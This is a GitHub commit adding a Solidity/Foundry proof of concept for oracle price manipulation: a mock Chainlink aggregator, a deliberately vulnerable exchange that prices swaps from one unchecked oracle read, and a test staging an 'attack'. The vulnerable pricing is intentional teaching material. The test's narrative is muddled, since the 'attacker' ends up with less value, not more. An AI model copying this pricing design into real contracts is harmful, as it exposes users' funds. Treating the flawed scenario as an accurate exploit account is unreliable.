Skip to content

Commit

Permalink
oracle price manipulation POC completed
Browse files Browse the repository at this point in the history
  • Loading branch information
bluntbrain committed Dec 26, 2024
1 parent 60c0a79 commit c6647c6
Show file tree
Hide file tree
Showing 5 changed files with 204 additions and 0 deletions.
3 changes: 3 additions & 0 deletions .gitmodules
Original file line number Diff line number Diff line change
@@ -1,3 +1,6 @@
[submodule "lib/forge-std"]
path = lib/forge-std
url = https://github.com/foundry-rs/forge-std
[submodule "lib/chainlink-brownie-contracts"]
path = lib/chainlink-brownie-contracts
url = https://github.com/smartcontractkit/chainlink-brownie-contracts
2 changes: 2 additions & 0 deletions foundry.toml
Original file line number Diff line number Diff line change
Expand Up @@ -3,4 +3,6 @@ src = "src"
out = "out"
libs = ["lib"]

remappings = ['@chainlink=lib/chainlink-brownie-contracts']

# See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options
72 changes: 72 additions & 0 deletions src/oracle-price-manipulation/MockV3Aggregator.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
* @title MockV3Aggregator
* @notice Based on the FluxAggregator contract
* @notice Use this contract when you need to test
* other contract's ability to read data from an
* aggregator contract, but how the aggregator got
* its answer is unimportant
*/
contract MockV3Aggregator {
uint256 public constant version = 0;

uint8 public decimals;
int256 public latestAnswer;
uint256 public latestTimestamp;
uint256 public latestRound;

mapping(uint256 => int256) public getAnswer;
mapping(uint256 => uint256) public getTimestamp;
mapping(uint256 => uint256) private getStartedAt;

constructor(uint8 _decimals, int256 _initialAnswer) {
decimals = _decimals;
updateAnswer(_initialAnswer);
}

function updateAnswer(int256 _answer) public {
latestAnswer = _answer;
latestTimestamp = block.timestamp;
latestRound++;
getAnswer[latestRound] = _answer;
getTimestamp[latestRound] = block.timestamp;
getStartedAt[latestRound] = block.timestamp;
}

function updateRoundData(uint80 _roundId, int256 _answer, uint256 _timestamp, uint256 _startedAt) public {
latestRound = _roundId;
latestAnswer = _answer;
latestTimestamp = _timestamp;
getAnswer[latestRound] = _answer;
getTimestamp[latestRound] = _timestamp;
getStartedAt[latestRound] = _startedAt;
}

function getRoundData(uint80 _roundId)
external
view
returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound)
{
return (_roundId, getAnswer[_roundId], getStartedAt[_roundId], getTimestamp[_roundId], _roundId);
}

function latestRoundData()
external
view
returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound)
{
return (
uint80(latestRound),
getAnswer[latestRound],
getStartedAt[latestRound],
getTimestamp[latestRound],
uint80(latestRound)
);
}

function description() external pure returns (string memory) {
return "v0.6/tests/MockV3Aggregator.sol";
}
}
72 changes: 72 additions & 0 deletions src/oracle-price-manipulation/VulnerableExchange.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";

/// @title VulnerableExchange
/// @author Ishan Lakhwani
/// @notice A simple exchange contract that uses an oracle for price feed
contract VulnerableExchange {
AggregatorV3Interface public priceFeed;
uint256 public reservesUSD;
uint256 public reservesTOKEN;

constructor(address _priceFeed, uint256 _initialReservesUSD, uint256 _initialReservesTOKEN) {
priceFeed = AggregatorV3Interface(_priceFeed);
reservesUSD = _initialReservesUSD * 10 ** 18; // Store with 18 decimals for precision
reservesTOKEN = _initialReservesTOKEN * 10 ** 18;
}

function getPrice() public view returns (uint256) {
(
/*uint80 roundID*/
,
int256 price,
/*uint startedAt*/
,
/*uint timeStamp*/
,
/*uint80 answeredInRound*/
) = priceFeed.latestRoundData();
require(price > 0, "Price feed returned invalid data");
return uint256(price); // Price is in 8 decimals
}

function getTokenValueInUSD(uint256 _tokenAmount) public view returns (uint256) {
uint256 price = getPrice();
return (_tokenAmount * price) / 10 ** 8; // Adjust for decimals
}

function swapUSDForToken(uint256 _usdAmount) public returns (uint256 tokenReceived) {
require(_usdAmount > 0, "Amount must be positive");

// Calculate token amount based on current oracle price
uint256 price = getPrice();
uint256 tokenAmount = (_usdAmount * 1e8) / price; // This will give us the correct token amount

require(tokenAmount <= reservesTOKEN, "Not enough tokens in reserve");

reservesUSD += _usdAmount;
reservesTOKEN -= tokenAmount;

emit Swap(msg.sender, _usdAmount, tokenAmount);
return tokenAmount;
}

function swapTokenForUSD(uint256 _tokenAmount) public returns (uint256 usdReceived) {
require(_tokenAmount > 0, "Amount must be positive");

// Calculate USD amount based on current oracle price
uint256 price = getPrice();
uint256 usdAmount = (_tokenAmount * price) / 1e8; // This will give us the correct USD amount

require(usdAmount <= reservesUSD, "Not enough USD in reserve");

reservesTOKEN += _tokenAmount;
reservesUSD -= usdAmount;
emit Swap(msg.sender, usdAmount, _tokenAmount);
return usdAmount;
}

event Swap(address indexed user, uint256 usdAmount, uint256 tokenAmount);
}
55 changes: 55 additions & 0 deletions test/OraclePriceTest.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/oracle-price-manipulation/VulnerableExchange.sol";
import "../src/oracle-price-manipulation/MockV3Aggregator.sol";

/// @title Oracle Price Test Contract
/// @author Ishan Lakhwani
/// @notice Test contract for testing oracle price manipulation vulnerabilities
/// @dev Tests price manipulation scenarios in VulnerableExchange contract
contract OraclePriceTest is Test {
VulnerableExchange public exchange;
MockV3Aggregator public priceFeed;

function setUp() public {
priceFeed = new MockV3Aggregator(8, 100 * 10 ** 8); // Initial price: $100 (8 decimals)
exchange = new VulnerableExchange(address(priceFeed), 1000, 10); // Initial reserves: 1000 USD, 10 TOKEN
}

function testPriceManipulation() public {
console.log("\n=== Oracle Price Manipulation Attack ===");
console.log("Initial TOKEN price: %s USD", priceFeed.latestAnswer() / 1e8);

console.log("\n[Step 1] Attacker manipulates price:");
priceFeed.updateAnswer(1000 * 10 ** 8);
console.log("Manipulated TOKEN price to: %s USD", priceFeed.latestAnswer() / 1e8);

console.log("\n[Step 2] Exploit with 100 USD:");
uint256 tokensReceived = exchange.swapUSDForToken(100 * 10 ** 18);
console.log("Attacker receives: %s TOKEN", tokensReceived / 1e18);

assertEq(tokensReceived, (100 * 10 ** 18) / 1000);

priceFeed.updateAnswer(100 * 10 ** 8);
uint256 finalUSDValue = exchange.getTokenValueInUSD(tokensReceived);

console.log("\n[Step 3] Attack Result:");
console.log("Tokens now worth: %s USD", finalUSDValue / 1e18);

assertEq(finalUSDValue, 10 * 10 ** 18);
}

function testSwap() public {
console.log("\n=== Normal Swap Test ===");
uint256 tokensReceived = exchange.swapUSDForToken(100 * 10 ** 18);
console.log("Tokens received: %s TOKEN", tokensReceived / 1e18);
assertEq(tokensReceived, 1 * 10 ** 18);

uint256 usdReceived = exchange.swapTokenForUSD(1 * 10 ** 18);
console.log("USD received: %s USD", usdReceived / 1e18);
assertEq(usdReceived, 100 * 10 ** 18);
}
}

0 comments on commit c6647c6

Please sign in to comment.